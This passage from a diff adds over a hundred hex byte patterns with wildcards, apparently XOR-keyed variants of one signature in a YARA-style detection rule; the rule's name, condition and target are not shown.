+		$s042 = { 2A 2B 2A 2B 2A 28 ?? ?? 2A 28 2A 2B 2A 28 ?? ?? 2A 29 2A 28 2A 2E ?? ?? ?? ?? 2A 2E 2A 28 2A 2E ?? ?? ?? ?? 2A 2F 2A 2B 2A 28 ?? ?? }
+		$s043 = { 2B 2A 2B 2A 2B 29 ?? ?? 2B 29 2B 2A 2B 29 ?? ?? 2B 28 2B 29 2B 2F ?? ?? ?? ?? 2B 2F 2B 29 2B 2F ?? ?? ?? ?? 2B 2E 2B 2A 2B 29 ?? ?? }
+		$s044 = { 2C 2D 2C 2D 2C 2E ?? ?? 2C 2E 2C 2D 2C 2E ?? ?? 2C 2F 2C 2E 2C 28 ?? ?? ?? ?? 2C 28 2C 2E 2C 28 ?? ?? ?? ?? 2C 29 2C 2D 2C 2E ?? ?? }
+		$s045 = { 2D 2C 2D 2C 2D 2F ?? ?? 2D 2F 2D 2C 2D 2F ?? ?? 2D 2E 2D 2F 2D 29 ?? ?? ?? ?? 2D 29 2D 2F 2D 29 ?? ?? ?? ?? 2D 28 2D 2C 2D 2F ?? ?? }
+		$s046 = { 2E 2F 2E 2F 2E 2C ?? ?? 2E 2C 2E 2F 2E 2C ?? ?? 2E 2D 2E 2C 2E 2A ?? ?? ?? ?? 2E 2A 2E 2C 2E 2A ?? ?? ?? ?? 2E 2B 2E 2F 2E 2C ?? ?? }
+		$s047 = { 2F 2E 2F 2E 2F 2D ?? ?? 2F 2D 2F 2E 2F 2D ?? ?? 2F 2C 2F 2D 2F 2B ?? ?? ?? ?? 2F 2B 2F 2D 2F 2B ?? ?? ?? ?? 2F 2A 2F 2E 2F 2D ?? ?? }
+		$s048 = { 30 31 30 31 30 32 ?? ?? 30 32 30 31 30 32 ?? ?? 30 33 30 32 30 34 ?? ?? ?? ?? 30 34 30 32 30 34 ?? ?? ?? ?? 30 35 30 31 30 32 ?? ?? }
+		$s049 = { 31 30 31 30 31 33 ?? ?? 31 33 31 30 31 33 ?? ?? 31 32 31 33 31 35 ?? ?? ?? ?? 31 35 31 33 31 35 ?? ?? ?? ?? 31 34 31 30 31 33 ?? ?? }
+		$s050 = { 32 33 32 33 32 30 ?? ?? 32 30 32 33 32 30 ?? ?? 32 31 32 30 32 36 ?? ?? ?? ?? 32 36 32 30 32 36 ?? ?? ?? ?? 32 37 32 33 32 30 ?? ?? }
+		$s051 = { 33 32 33 32 33 31 ?? ?? 33 31 33 32 33 31 ?? ?? 33 30 33 31 33 37 ?? ?? ?? ?? 33 37 33 31 33 37 ?? ?? ?? ?? 33 36 33 32 33 31 ?? ?? }
+		$s052 = { 34 35 34 35 34 36 ?? ?? 34 36 34 35 34 36 ?? ?? 34 37 34 36 34 30 ?? ?? ?? ?? 34 30 34 36 34 30 ?? ?? ?? ?? 34 31 34 35 34 36 ?? ?? }
+		$s053 = { 35 34 35 34 35 37 ?? ?? 35 37 35 34 35 37 ?? ?? 35 36 35 37 35 31 ?? ?? ?? ?? 35 31 35 37 35 31 ?? ?? ?? ?? 35 30 35 34 35 37 ?? ?? }
+		$s054 = { 36 37 36 37 36 34 ?? ?? 36 34 36 37 36 34 ?? ?? 36 35 36 34 36 32 ?? ?? ?? ?? 36 32 36 34 36 32 ?? ?? ?? ?? 36 33 36 37 36 34 ?? ?? }
+		$s055 = { 37 36 37 36 37 35 ?? ?? 37 35 37 36 37 35 ?? ?? 37 34 37 35 37 33 ?? ?? ?? ?? 37 33 37 35 37 33 ?? ?? ?? ?? 37 32 37 36 37 35 ?? ?? }
+		$s056 = { 38 39 38 39 38 3A ?? ?? 38 3A 38 39 38 3A ?? ?? 38 3B 38 3A 38 3C ?? ?? ?? ?? 38 3C 38 3A 38 3C ?? ?? ?? ?? 38 3D 38 39 38 3A ?? ?? }
+		$s057 = { 39 38 39 38 39 3B ?? ?? 39 3B 39 38 39 3B ?? ?? 39 3A 39 3B 39 3D ?? ?? ?? ?? 39 3D 39 3B 39 3D ?? ?? ?? ?? 39 3C 39 38 39 3B ?? ?? }
+		$s058 = { 3A 3B 3A 3B 3A 38 ?? ?? 3A 38 3A 3B 3A 38 ?? ?? 3A 39 3A 38 3A 3E ?? ?? ?? ?? 3A 3E 3A 38 3A 3E ?? ?? ?? ?? 3A 3F 3A 3B 3A 38 ?? ?? }
+		$s059 = { 3B 3A 3B 3A 3B 39 ?? ?? 3B 39 3B 3A 3B 39 ?? ?? 3B 38 3B 39 3B 3F ?? ?? ?? ?? 3B 3F 3B 39 3B 3F ?? ?? ?? ?? 3B 3E 3B 3A 3B 39 ?? ?? }
+		$s060 = { 3C 3D 3C 3D 3C 3E ?? ?? 3C 3E 3C 3D 3C 3E ?? ?? 3C 3F 3C 3E 3C 38 ?? ?? ?? ?? 3C 38 3C 3E 3C 38 ?? ?? ?? ?? 3C 39 3C 3D 3C 3E ?? ?? }
+		$s061 = { 3D 3C 3D 3C 3D 3F ?? ?? 3D 3F 3D 3C 3D 3F ?? ?? 3D 3E 3D 3F 3D 39 ?? ?? ?? ?? 3D 39 3D 3F 3D 39 ?? ?? ?? ?? 3D 38 3D 3C 3D 3F ?? ?? }
+		$s062 = { 3E 3F 3E 3F 3E 3C ?? ?? 3E 3C 3E 3F 3E 3C ?? ?? 3E 3D 3E 3C 3E 3A ?? ?? ?? ?? 3E 3A 3E 3C 3E 3A ?? ?? ?? ?? 3E 3B 3E 3F 3E 3C ?? ?? }
+		$s063 = { 3F 3E 3F 3E 3F 3D ?? ?? 3F 3D 3F 3E 3F 3D ?? ?? 3F 3C 3F 3D 3F 3B ?? ?? ?? ?? 3F 3B 3F 3D 3F 3B ?? ?? ?? ?? 3F 3A 3F 3E 3F 3D ?? ?? }
+		$s064 = { 40 41 40 41 40 42 ?? ?? 40 42 40 41 40 42 ?? ?? 40 43 40 42 40 44 ?? ?? ?? ?? 40 44 40 42 40 44 ?? ?? ?? ?? 40 45 40 41 40 42 ?? ?? }
+		$s065 = { 41 40 41 40 41 43 ?? ?? 41 43 41 40 41 43 ?? ?? 41 42 41 43 41 45 ?? ?? ?? ?? 41 45 41 43 41 45 ?? ?? ?? ?? 41 44 41 40 41 43 ?? ?? }
+		$s066 = { 42 43 42 43 42 40 ?? ?? 42 40 42 43 42 40 ?? ?? 42 41 42 40 42 46 ?? ?? ?? ?? 42 46 42 40 42 46 ?? ?? ?? ?? 42 47 42 43 42 40 ?? ?? }
+		$s067 = { 43 42 43 42 43 41 ?? ?? 43 41 43 42 43 41 ?? ?? 43 40 43 41 43 47 ?? ?? ?? ?? 43 47 43 41 43 47 ?? ?? ?? ?? 43 46 43 42 43 41 ?? ?? }
+		$s068 = { 44 45 44 45 44 46 ?? ?? 44 46 44 45 44 46 ?? ?? 44 47 44 46 44 40 ?? ?? ?? ?? 44 40 44 46 44 40 ?? ?? ?? ?? 44 41 44 45 44 46 ?? ?? }
+		$s069 = { 45 44 45 44 45 47 ?? ?? 45 47 45 44 45 47 ?? ?? 45 46 45 47 45 41 ?? ?? ?? ?? 45 41 45 47 45 41 ?? ?? ?? ?? 45 40 45 44 45 47 ?? ?? }
+		$s070 = { 46 47 46 47 46 44 ?? ?? 46 44 46 47 46 44 ?? ?? 46 45 46 44 46 42 ?? ?? ?? ?? 46 42 46 44 46 42 ?? ?? ?? ?? 46 43 46 47 46 44 ?? ?? }
+		$s071 = { 47 46 47 46 47 45 ?? ?? 47 45 47 46 47 45 ?? ?? 47 44 47 45 47 43 ?? ?? ?? ?? 47 43 47 45 47 43 ?? ?? ?? ?? 47 42 47 46 47 45 ?? ?? }
+		$s072 = { 48 49 48 49 48 4A ?? ?? 48 4A 48 49 48 4A ?? ?? 48 4B 48 4A 48 4C ?? ?? ?? ?? 48 4C 48 4A 48 4C ?? ?? ?? ?? 48 4D 48 49 48 4A ?? ?? }
+		$s073 = { 49 48 49 48 49 4B ?? ?? 49 4B 49 48 49 4B ?? ?? 49 4A 49 4B 49 4D ?? ?? ?? ?? 49 4D 49 4B 49 4D ?? ?? ?? ?? 49 4C 49 48 49 4B ?? ?? }
+		$s074 = { 4A 4B 4A 4B 4A 48 ?? ?? 4A 48 4A 4B 4A 48 ?? ?? 4A 49 4A 48 4A 4E ?? ?? ?? ?? 4A 4E 4A 48 4A 4E ?? ?? ?? ?? 4A 4F 4A 4B 4A 48 ?? ?? }
+		$s075 = { 4B 4A 4B 4A 4B 49 ?? ?? 4B 49 4B 4A 4B 49 ?? ?? 4B 48 4B 49 4B 4F ?? ?? ?? ?? 4B 4F 4B 49 4B 4F ?? ?? ?? ?? 4B 4E 4B 4A 4B 49 ?? ?? }
+		$s076 = { 4C 4D 4C 4D 4C 4E ?? ?? 4C 4E 4C 4D 4C 4E ?? ?? 4C 4F 4C 4E 4C 48 ?? ?? ?? ?? 4C 48 4C 4E 4C 48 ?? ?? ?? ?? 4C 49 4C 4D 4C 4E ?? ?? }
+		$s077 = { 4D 4C 4D 4C 4D 4F ?? ?? 4D 4F 4D 4C 4D 4F ?? ?? 4D 4E 4D 4F 4D 49 ?? ?? ?? ?? 4D 49 4D 4F 4D 49 ?? ?? ?? ?? 4D 48 4D 4C 4D 4F ?? ?? }
+		$s078 = { 4E 4F 4E 4F 4E 4C ?? ?? 4E 4C 4E 4F 4E 4C ?? ?? 4E 4D 4E 4C 4E 4A ?? ?? ?? ?? 4E 4A 4E 4C 4E 4A ?? ?? ?? ?? 4E 4B 4E 4F 4E 4C ?? ?? }
+		$s079 = { 4F 4E 4F 4E 4F 4D ?? ?? 4F 4D 4F 4E 4F 4D ?? ?? 4F 4C 4F 4D 4F 4B ?? ?? ?? ?? 4F 4B 4F 4D 4F 4B ?? ?? ?? ?? 4F 4A 4F 4E 4F 4D ?? ?? }
+		$s080 = { 50 51 50 51 50 52 ?? ?? 50 52 50 51 50 52 ?? ?? 50 53 50 52 50 54 ?? ?? ?? ?? 50 54 50 52 50 54 ?? ?? ?? ?? 50 55 50 51 50 52 ?? ?? }
+		$s081 = { 51 50 51 50 51 53 ?? ?? 51 53 51 50 51 53 ?? ?? 51 52 51 53 51 55 ?? ?? ?? ?? 51 55 51 53 51 55 ?? ?? ?? ?? 51 54 51 50 51 53 ?? ?? }
+		$s082 = { 52 53 52 53 52 50 ?? ?? 52 50 52 53 52 50 ?? ?? 52 51 52 50 52 56 ?? ?? ?? ?? 52 56 52 50 52 56 ?? ?? ?? ?? 52 57 52 53 52 50 ?? ?? }
+		$s083 = { 53 52 53 52 53 51 ?? ?? 53 51 53 52 53 51 ?? ?? 53 50 53 51 53 57 ?? ?? ?? ?? 53 57 53 51 53 57 ?? ?? ?? ?? 53 56 53 52 53 51 ?? ?? }
+		$s084 = { 54 55 54 55 54 56 ?? ?? 54 56 54 55 54 56 ?? ?? 54 57 54 56 54 50 ?? ?? ?? ?? 54 50 54 56 54 50 ?? ?? ?? ?? 54 51 54 55 54 56 ?? ?? }
+		$s085 = { 55 54 55 54 55 57 ?? ?? 55 57 55 54 55 57 ?? ?? 55 56 55 57 55 51 ?? ?? ?? ?? 55 51 55 57 55 51 ?? ?? ?? ?? 55 50 55 54 55 57 ?? ?? }
+		$s086 = { 56 57 56 57 56 54 ?? ?? 56 54 56 57 56 54 ?? ?? 56 55 56 54 56 52 ?? ?? ?? ?? 56 52 56 54 56 52 ?? ?? ?? ?? 56 53 56 57 56 54 ?? ?? }
+		$s087 = { 57 56 57 56 57 55 ?? ?? 57 55 57 56 57 55 ?? ?? 57 54 57 55 57 53 ?? ?? ?? ?? 57 53 57 55 57 53 ?? ?? ?? ?? 57 52 57 56 57 55 ?? ?? }
+		$s088 = { 58 59 58 59 58 5A ?? ?? 58 5A 58 59 58 5A ?? ?? 58 5B 58 5A 58 5C ?? ?? ?? ?? 58 5C 58 5A 58 5C ?? ?? ?? ?? 58 5D 58 59 58 5A ?? ?? }
+		$s089 = { 59 58 59 58 59 5B ?? ?? 59 5B 59 58 59 5B ?? ?? 59 5A 59 5B 59 5D ?? ?? ?? ?? 59 5D 59 5B 59 5D ?? ?? ?? ?? 59 5C 59 58 59 5B ?? ?? }
+		$s090 = { 5A 5B 5A 5B 5A 58 ?? ?? 5A 58 5A 5B 5A 58 ?? ?? 5A 59 5A 58 5A 5E ?? ?? ?? ?? 5A 5E 5A 58 5A 5E ?? ?? ?? ?? 5A 5F 5A 5B 5A 58 ?? ?? }
+		$s091 = { 5B 5A 5B 5A 5B 59 ?? ?? 5B 59 5B 5A 5B 59 ?? ?? 5B 58 5B 59 5B 5F ?? ?? ?? ?? 5B 5F 5B 59 5B 5F ?? ?? ?? ?? 5B 5E 5B 5A 5B 59 ?? ?? }
+		$s092 = { 5C 5D 5C 5D 5C 5E ?? ?? 5C 5E 5C 5D 5C 5E ?? ?? 5C 5F 5C 5E 5C 58 ?? ?? ?? ?? 5C 58 5C 5E 5C 58 ?? ?? ?? ?? 5C 59 5C 5D 5C 5E ?? ?? }
+		$s093 = { 5D 5C 5D 5C 5D 5F ?? ?? 5D 5F 5D 5C 5D 5F ?? ?? 5D 5E 5D 5F 5D 59 ?? ?? ?? ?? 5D 59 5D 5F 5D 59 ?? ?? ?? ?? 5D 58 5D 5C 5D 5F ?? ?? }
+		$s094 = { 5E 5F 5E 5F 5E 5C ?? ?? 5E 5C 5E 5F 5E 5C ?? ?? 5E 5D 5E 5C 5E 5A ?? ?? ?? ?? 5E 5A 5E 5C 5E 5A ?? ?? ?? ?? 5E 5B 5E 5F 5E 5C ?? ?? }
+		$s095 = { 5F 5E 5F 5E 5F 5D ?? ?? 5F 5D 5F 5E 5F 5D ?? ?? 5F 5C 5F 5D 5F 5B ?? ?? ?? ?? 5F 5B 5F 5D 5F 5B ?? ?? ?? ?? 5F 5A 5F 5E 5F 5D ?? ?? }
+		$s096 = { 60 61 60 61 60 62 ?? ?? 60 62 60 61 60 62 ?? ?? 60 63 60 62 60 64 ?? ?? ?? ?? 60 64 60 62 60 64 ?? ?? ?? ?? 60 65 60 61 60 62 ?? ?? }
+		$s097 = { 61 60 61 60 61 63 ?? ?? 61 63 61 60 61 63 ?? ?? 61 62 61 63 61 65 ?? ?? ?? ?? 61 65 61 63 61 65 ?? ?? ?? ?? 61 64 61 60 61 63 ?? ?? }
+		$s098 = { 62 63 62 63 62 60 ?? ?? 62 60 62 63 62 60 ?? ?? 62 61 62 60 62 66 ?? ?? ?? ?? 62 66 62 60 62 66 ?? ?? ?? ?? 62 67 62 63 62 60 ?? ?? }
+		$s099 = { 63 62 63 62 63 61 ?? ?? 63 61 63 62 63 61 ?? ?? 63 60 63 61 63 67 ?? ?? ?? ?? 63 67 63 61 63 67 ?? ?? ?? ?? 63 66 63 62 63 61 ?? ?? }
+		$s100 = { 64 65 64 65 64 66 ?? ?? 64 66 64 65 64 66 ?? ?? 64 67 64 66 64 60 ?? ?? ?? ?? 64 60 64 66 64 60 ?? ?? ?? ?? 64 61 64 65 64 66 ?? ?? }
+		$s101 = { 65 64 65 64 65 67 ?? ?? 65 67 65 64 65 67 ?? ?? 65 66 65 67 65 61 ?? ?? ?? ?? 65 61 65 67 65 61 ?? ?? ?? ?? 65 60 65 64 65 67 ?? ?? }
+		$s102 = { 66 67 66 67 66 64 ?? ?? 66 64 66 67 66 64 ?? ?? 66 65 66 64 66 62 ?? ?? ?? ?? 66 62 66 64 66 62 ?? ?? ?? ?? 66 63 66 67 66 64 ?? ?? }
+		$s103 = { 67 66 67 66 67 65 ?? ?? 67 65 67 66 67 65 ?? ?? 67 64 67 65 67 63 ?? ?? ?? ?? 67 63 67 65 67 63 ?? ?? ?? ?? 67 62 67 66 67 65 ?? ?? }
+		$s104 = { 68 69 68 69 68 6A ?? ?? 68 6A 68 69 68 6A ?? ?? 68 6B 68 6A 68 6C ?? ?? ?? ?? 68 6C 68 6A 68 6C ?? ?? ?? ?? 68 6D 68 69 68 6A ?? ?? }
+		$s105 = { 69 68 69 68 69 6B ?? ?? 69 6B 69 68 69 6B ?? ?? 69 6A 69 6B 69 6D ?? ?? ?? ?? 69 6D 69 6B 69 6D ?? ?? ?? ?? 69 6C 69 68 69 6B ?? ?? }
+		$s106 = { 6A 6B 6A 6B 6A 68 ?? ?? 6A 68 6A 6B 6A 68 ?? ?? 6A 69 6A 68 6A 6E ?? ?? ?? ?? 6A 6E 6A 68 6A 6E ?? ?? ?? ?? 6A 6F 6A 6B 6A 68 ?? ?? }
+		$s107 = { 6B 6A 6B 6A 6B 69 ?? ?? 6B 69 6B 6A 6B 69 ?? ?? 6B 68 6B 69 6B 6F ?? ?? ?? ?? 6B 6F 6B 69 6B 6F ?? ?? ?? ?? 6B 6E 6B 6A 6B 69 ?? ?? }
+		$s108 = { 6C 6D 6C 6D 6C 6E ?? ?? 6C 6E 6C 6D 6C 6E ?? ?? 6C 6F 6C 6E 6C 68 ?? ?? ?? ?? 6C 68 6C 6E 6C 68 ?? ?? ?? ?? 6C 69 6C 6D 6C 6E ?? ?? }
+		$s109 = { 6D 6C 6D 6C 6D 6F ?? ?? 6D 6F 6D 6C 6D 6F ?? ?? 6D 6E 6D 6F 6D 69 ?? ?? ?? ?? 6D 69 6D 6F 6D 69 ?? ?? ?? ?? 6D 68 6D 6C 6D 6F ?? ?? }
+		$s110 = { 6E 6F 6E 6F 6E 6C ?? ?? 6E 6C 6E 6F 6E 6C ?? ?? 6E 6D 6E 6C 6E 6A ?? ?? ?? ?? 6E 6A 6E 6C 6E 6A ?? ?? ?? ?? 6E 6B 6E 6F 6E 6C ?? ?? }
+		$s111 = { 6F 6E 6F 6E 6F 6D ?? ?? 6F 6D 6F 6E 6F 6D ?? ?? 6F 6C 6F 6D 6F 6B ?? ?? ?? ?? 6F 6B 6F 6D 6F 6B ?? ?? ?? ?? 6F 6A 6F 6E 6F 6D ?? ?? }
+		$s112 = { 70 71 70 71 70 72 ?? ?? 70 72 70 71 70 72 ?? ?? 70 73 70 72 70 74 ?? ?? ?? ?? 70 74 70 72 70 74 ?? ?? ?? ?? 70 75 70 71 70 72 ?? ?? }
+		$s113 = { 71 70 71 70 71 73 ?? ?? 71 73 71 70 71 73 ?? ?? 71 72 71 73 71 75 ?? ?? ?? ?? 71 75 71 73 71 75 ?? ?? ?? ?? 71 74 71 70 71 73 ?? ?? }
+		$s114 = { 72 73 72 73 72 70 ?? ?? 72 70 72 73 72 70 ?? ?? 72 71 72 70 72 76 ?? ?? ?? ?? 72 76 72 70 72 76 ?? ?? ?? ?? 72 77 72 73 72 70 ?? ?? }
+		$s115 = { 73 72 73 72 73 71 ?? ?? 73 71 73 72 73 71 ?? ?? 73 70 73 71 73 77 ?? ?? ?? ?? 73 77 73 71 73 77 ?? ?? ?? ?? 73 76 73 72 73 71 ?? ?? }
+		$s116 = { 74 75 74 75 74 76 ?? ?? 74 76 74 75 74 76 ?? ?? 74 77 74 76 74 70 ?? ?? ?? ?? 74 70 74 76 74 70 ?? ?? ?? ?? 74 71 74 75 74 76 ?? ?? }
+		$s117 = { 75 74 75 74 75 77 ?? ?? 75 77 75 74 75 77 ?? ?? 75 76 75 77 75 71 ?? ?? ?? ?? 75 71 75 77 75 71 ?? ?? ?? ?? 75 70 75 74 75 77 ?? ?? }
+		$s118 = { 76 77 76 77 76 74 ?? ?? 76 74 76 77 76 74 ?? ?? 76 75 76 74 76 72 ?? ?? ?? ?? 76 72 76 74 76 72 ?? ?? ?? ?? 76 73 76 77 76 74 ?? ?? }
+		$s119 = { 77 76 77 76 77 75 ?? ?? 77 75 77 76 77 75 ?? ?? 77 74 77 75 77 73 ?? ?? ?? ?? 77 73 77 75 77 73 ?? ?? ?? ?? 77 72 77 76 77 75 ?? ?? }
+		$s120 = { 78 79 78 79 78 7A ?? ?? 78 7A 78 79 78 7A ?? ?? 78 7B 78 7A 78 7C ?? ?? ?? ?? 78 7C 78 7A 78 7C ?? ?? ?? ?? 78 7D 78 79 78 7A ?? ?? }
+		$s121 = { 79 78 79 78 79 7B ?? ?? 79 7B 79 78 79 7B ?? ?? 79 7A 79 7B 79 7D ?? ?? ?? ?? 79 7D 79 7B 79 7D ?? ?? ?? ?? 79 7C 79 78 79 7B ?? ?? }
+		$s122 = { 7A 7B 7A 7B 7A 78 ?? ?? 7A 78 7A 7B 7A 78 ?? ?? 7A 79 7A 78 7A 7E ?? ?? ?? ?? 7A 7E 7A 78 7A 7E ?? ?? ?? ?? 7A 7F 7A 7B 7A 78 ?? ?? }
+		$s123 = { 7B 7A 7B 7A 7B 79 ?? ?? 7B 79 7B 7A 7B 79 ?? ?? 7B 78 7B 79 7B 7F ?? ?? ?? ?? 7B 7F 7B 79 7B 7F ?? ?? ?? ?? 7B 7E 7B 7A 7B 79 ?? ?? }
+		$s124 = { 7C 7D 7C 7D 7C 7E ?? ?? 7C 7E 7C 7D 7C 7E ?? ?? 7C 7F 7C 7E 7C 78 ?? ?? ?? ?? 7C 78 7C 7E 7C 78 ?? ?? ?? ?? 7C 79 7C 7D 7C 7E ?? ?? }
+		$s125 = { 7D 7C 7D 7C 7D 7F ?? ?? 7D 7F 7D 7C 7D 7F ?? ?? 7D 7E 7D 7F 7D 79 ?? ?? ?? ?? 7D 79 7D 7F 7D 79 ?? ?? ?? ?? 7D 78 7D 7C 7D 7F ?? ?? }
+		$s126 = { 7E 7F 7E 7F 7E 7C ?? ?? 7E 7C 7E 7F 7E 7C ?? ?? 7E 7D 7E 7C 7E 7A ?? ?? ?? ?? 7E 7A 7E 7C 7E 7A ?? ?? ?? ?? 7E 7B 7E 7F 7E 7C ?? ?? }
+		$s127 = { 7F 7E 7F 7E 7F 7D ?? ?? 7F 7D 7F 7E 7F 7D ?? ?? 7F 7C 7F 7D 7F 7B ?? ?? ?? ?? 7F 7B 7F 7D 7F 7B ?? ?? ?? ?? 7F 7A 7F 7E 7F 7D ?? ?? }
+		$s128 = { 80 81 80 81 80 82 ?? ?? 80 82 80 81 80 82 ?? ?? 80 83 80 82 80 84 ?? ?? ?? ?? 80 84 80 82 80 84 ?? ?? ?? ?? 80 85 80 81 80 82 ?? ?? }
+		$s129 = { 81 80 81 80 81 83 ?? ?? 81 83 81 80 81 83 ?? ?? 81 82 81 83 81 85 ?? ?? ?? ?? 81 85 81 83 81 85 ?? ?? ?? ?? 81 84 81 80 81 83 ?? ?? }
+		$s130 = { 82 83 82 83 82 80 ?? ?? 82 80 82 83 82 80 ?? ?? 82 81 82 80 82 86 ?? ?? ?? ?? 82 86 82 80 82 86 ?? ?? ?? ?? 82 87 82 83 82 80 ?? ?? }
+		$s131 = { 83 82 83 82 83 81 ?? ?? 83 81 83 82 83 81 ?? ?? 83 80 83 81 83 87 ?? ?? ?? ?? 83 87 83 81 83 87 ?? ?? ?? ?? 83 86 83 82 83 81 ?? ?? }
+		$s132 = { 84 85 84 85 84 86 ?? ?? 84 86 84 85 84 86 ?? ?? 84 87 84 86 84 80 ?? ?? ?? ?? 84 80 84 86 84 80 ?? ?? ?? ?? 84 81 84 85 84 86 ?? ?? }
+		$s133 = { 85 84 85 84 85 87 ?? ?? 85 87 85 84 85 87 ?? ?? 85 86 85 87 85 81 ?? ?? ?? ?? 85 81 85 87 85 81 ?? ?? ?? ?? 85 80 85 84 85 87 ?? ?? }
+		$s134 = { 86 87 86 87 86 84 ?? ?? 86 84 86 87 86 84 ?? ?? 86 85 86 84 86 82 ?? ?? ?? ?? 86 82 86 84 86 82 ?? ?? ?? ?? 86 83 86 87 86 84 ?? ?? }
+		$s135 = { 87 86 87 86 87 85 ?? ?? 87 85 87 86 87 85 ?? ?? 87 84 87 85 87 83 ?? ?? ?? ?? 87 83 87 85 87 83 ?? ?? ?? ?? 87 82 87 86 87 85 ?? ?? }
+		$s136 = { 88 89 88 89 88 8A ?? ?? 88 8A 88 89 88 8A ?? ?? 88 8B 88 8A 88 8C ?? ?? ?? ?? 88 8C 88 8A 88 8C ?? ?? ?? ?? 88 8D 88 89 88 8A ?? ?? }
+		$s137 = { 89 88 89 88 89 8B ?? ?? 89 8B 89 88 89 8B ?? ?? 89 8A 89 8B 89 8D ?? ?? ?? ?? 89 8D 89 8B 89 8D ?? ?? ?? ?? 89 8C 89 88 89 8B ?? ?? }
+		$s138 = { 8A 8B 8A 8B 8A 88 ?? ?? 8A 88 8A 8B 8A 88 ?? ?? 8A 89 8A 88 8A 8E ?? ?? ?? ?? 8A 8E 8A 88 8A 8E ?? ?? ?? ?? 8A 8F 8A 8B 8A 88 ?? ?? }
+		$s139 = { 8B 8A 8B 8A 8B 89 ?? ?? 8B 89 8B 8A 8B 89 ?? ?? 8B 88 8B 89 8B 8F ?? ?? ?? ?? 8B 8F 8B 89 8B 8F ?? ?? ?? ?? 8B 8E 8B 8A 8B 89 ?? ?? }
+		$s140 = { 8C 8D 8C 8D 8C 8E ?? ?? 8C 8E 8C 8D 8C 8E ?? ?? 8C 8F 8C 8E 8C 88 ?? ?? ?? ?? 8C 88 8C 8E 8C 88 ?? ?? ?? ?? 8C 89 8C 8D 8C 8E ?? ?? }
+		$s141 = { 8D 8C 8D 8C 8D 8F ?? ?? 8D 8F 8D 8C 8D 8F ?? ?? 8D 8E 8D 8F 8D 89 ?? ?? ?? ?? 8D 89 8D 8F 8D 89 ?? ?? ?? ?? 8D 88 8D 8C 8D 8F ?? ?? }
+		$s142 = { 8E 8F 8E 8F 8E 8C ?? ?? 8E 8C 8E 8F 8E 8C ?? ?? 8E 8D 8E 8C 8E 8A ?? ?? ?? ?? 8E 8A 8E 8C 8E 8A ?? ?? ?? ?? 8E 8B 8E 8F 8E 8C ?? ?? }
+		$s143 = { 8F 8E 8F 8E 8F 8D ?? ?? 8F 8D 8F 8E 8F 8D ?? ?? 8F 8C 8F 8D 8F 8B ?? ?? ?? ?? 8F 8B 8F 8D 8F 8B ?? ?? ?? ?? 8F 8A 8F 8E 8F 8D ?? ?? }
+		$s144 = { 90 91 90 91 90 92 ?? ?? 90 92 90 91 90 92 ?? ?? 90 93 90 92 90 94 ?? ?? ?? ?? 90 94 90 92 90 94 ?? ?? ?? ?? 90 95 90 91 90 92 ?? ?? }
+		$s145 = { 91 90 91 90 91 93 ?? ?? 91 93 91 90 91 93 ?? ?? 91 92 91 93 91 95 ?? ?? ?? ?? 91 95 91 93 91 95 ?? ?? ?? ?? 91 94 91 90 91 93 ?? ?? }
+		$s146 = { 92 93 92 93 92 90 ?? ?? 92 90 92 93 92 90 ?? ?? 92 91 92 90 92 96 ?? ?? ?? ?? 92 96 92 90 92 96 ?? ?? ?? ?? 92 97 92 93 92 90 ?? ?? }
+		$s147 = { 93 92 93 92 93 91 ?? ?? 93 91 93 92 93 91 ?? ?? 93 90 93 91 93 97 ?? ?? ?? ?? 93 97 93 91 93 97 ?? ?? ?? ?? 93 96 93 92 93 91 ?? ?? }
+		$s148 = { 94 95 94 95 94 96 ?? ?? 94 96 94 95 94 96 ?? ?? 94 97 94 96 94 90 ?? ?? ?? ?? 94 90 94 96 94 90 ?? ?? ?? ?? 94 91 94 95 94 96 ?? ?? }
+		$s149 = { 95 94 95 94 95 97 ?? ?? 95 97 95 94 95 97 ?? ?? 95 96 95 97 95 91 ?? ?? ?? ?? 95 91 95 97 95 91 ?? ?? ?? ?? 95 90 95 94 95 97 ?? ?? }
+		$s150 = { 96 97 96 97 96 94 ?? ?? 96 94 96 97 96 94 ?? ?? 96 95 96 94 96 92 ?? ?? ?? ?? 96 92 96 94 96 92 ?? ?? ?? ?? 96 93 96 97 96 94 ?? ?? }
+		$s151 = { 97 96 97 96 97 95 ?? ?? 97 95 97 96 97 95 ?? ?? 97 94 97 95 97 93 ?? ?? ?? ?? 97 93 97 95 97 93 ?? ?? ?? ?? 97 92 97 96 97 95 ?? ?? }
+		$s152 = { 98 99 98 99 98 9A ?? ?? 98 9A 98 99 98 9A ?? ?? 98 9B 98 9A 98 9C ?? ?? ?? ?? 98 9C 98 9A 98 9C ?? ?? ?? ?? 98 9D 98 99 98 9A ?? ?? }
+		$s153 = { 99 98 99 98 99 9B ?? ?? 99 9B 99 98 99 9B ?? ?? 99 9A 99 9B 99 9D ?? ?? ?? ?? 99 9D 99 9B 99 9D ?? ?? ?? ?? 99 9C 99 98 99 9B ?? ?? }
+		$s154 = { 9A 9B 9A 9B 9A 98 ?? ?? 9A 98 9A 9B 9A 98 ?? ?? 9A 99 9A 98 9A 9E ?? ?? ?? ?? 9A 9E 9A 98 9A 9E ?? ?? ?? ?? 9A 9F 9A 9B 9A 98 ?? ?? }
+		$s155 = { 9B 9A 9B 9A 9B 99 ?? ?? 9B 99 9B 9A 9B 99 ?? ?? 9B 98 9B 99 9B 9F ?? ?? ?? ?? 9B 9F 9B 99 9B 9F ?? ?? ?? ?? 9B 9E 9B 9A 9B 99 ?? ?? }
+		$s156 = { 9C 9D 9C 9D 9C 9E ?? ?? 9C 9E 9C 9D 9C 9E ?? ?? 9C 9F 9C 9E 9C 98 ?? ?? ?? ?? 9C 98 9C 9E 9C 98 ?? ?? ?? ?? 9C 99 9C 9D 9C 9E ?? ?? }
+		$s157 = { 9D 9C 9D 9C 9D 9F ?? ?? 9D 9F 9D 9C 9D 9F ?? ?? 9D 9E 9D 9F 9D 99 ?? ?? ?? ?? 9D 99 9D 9F 9D 99 ?? ?? ?? ?? 9D 98 9D 9C 9D 9F ?? ?? }
+		$s158 = { 9E 9F 9E 9F 9E 9C ?? ?? 9E 9C 9E 9F 9E 9C ?? ?? 9E 9D 9E 9C 9E 9A ?? ?? ?? ?? 9E 9A 9E 9C 9E 9A ?? ?? ?? ?? 9E 9B 9E 9F 9E 9C ?? ?? }
+		$s159 = { 9F 9E 9F 9E 9F 9D ?? ?? 9F 9D 9F 9E 9F 9D ?? ?? 9F 9C 9F 9D 9F 9B ?? ?? ?? ?? 9F 9B 9F 9D 9F 9B ?? ?? ?? ?? 9F 9A 9F 9E 9F 9D ?? ?? }
